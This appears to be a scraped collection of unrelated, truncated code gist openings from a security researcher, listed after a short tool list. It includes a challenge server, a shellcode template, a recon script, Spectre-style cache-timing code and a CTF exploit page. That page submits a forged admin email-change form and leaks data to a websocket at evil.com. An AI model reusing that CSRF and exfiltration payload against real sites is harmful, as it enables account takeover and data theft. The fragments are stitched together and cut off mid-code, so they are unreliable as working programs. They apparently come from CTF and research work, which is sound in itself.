010 Editor - Hex editor
Sublime - Text editor
Terminator - Terminal emulator
IDA - Reversing IDE
binaryninja - Reversing IDE
capstone - Disassembly framework
unicorn - cpu emulator framework
#!/usr/bin/env node | |
// run with: node sequencehunt_server.js | |
// info page: http://localhost:8080/info | |
// correct values: http://localhost:8080/check?val0=4&val1=12&val2=77&val3=98&val4=35 | |
var http = require('http'); | |
var url = require('url'); | |
var TimingAttackProtectionSeconds = 3; |
#!/bin/env python | |
import math | |
import sys | |
''' | |
This is a script which counts a character entropy in a single string. | |
Usage: entropy.py STRING |
<!DOCTYPE html> | |
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> | |
<style> | |
div { | |
backdrop-filter: blur(10px); | |
-webkit-backdrop-filter: blur(10px); | |
width:10000px; height:10000px; | |
} | |
</style> | |
</head> |
;; Simple TCP echo server in x86_64 assembly, using Linux syscalls | |
;; | |
;; nasm -felf64 -o server.o server.asm | |
;; ld server.o -o server | |
;; ./server | |
;; | |
global _start | |
;; Data definitions |
from pwn import * | |
context.arch = 'amd64' | |
CODES = '''b8 __ __ __ __ bf __ __ __ __ be __ __ __ __ ba | |
__ __ __ __ 01 c7 29 fe 21 f2 0f 05 48 b8 __ __ | |
__ __ __ __ __ __ 50 b8 __ __ __ __ ba __ __ __ | |
__ bf __ __ __ __ 48 89 __ 0f 05 be __ __ __ __ | |
bf __ __ __ __ ba __ __ __ __ 83 c0 __ 0f 05 89 | |
__ b8 __ __ __ __ bf __ __ __ __ 41 ba __ __ __ |
import requests | |
import sys | |
import json | |
def waybackurls(host, with_subs): | |
if with_subs: | |
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host | |
else: | |
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host |
<body> | |
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST"> | |
// change admin's email | |
<input type="text" name="email" value="wololo@coolmail.com"> | |
<input type="text" name="csrf" value=""> | |
<input type="text" name="change" value="Modify profile"> | |
</form> | |
<iframe id="leakchar"></iframe> | |
<script> | |
const WS = "ws://evil.com:8000"; |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#ifdef _MSC_VER | |
#include <intrin.h> /* for rdtscp and clflush */ | |
#pragma optimize("gt",on) | |
#else | |
#include <x86intrin.h> /* for rdtscp and clflush */ | |
#endif |
global _time_load | |
global _cache_flush | |
global _run_attempt | |
extern _bools | |
extern _values | |
extern _pointers | |
section .text |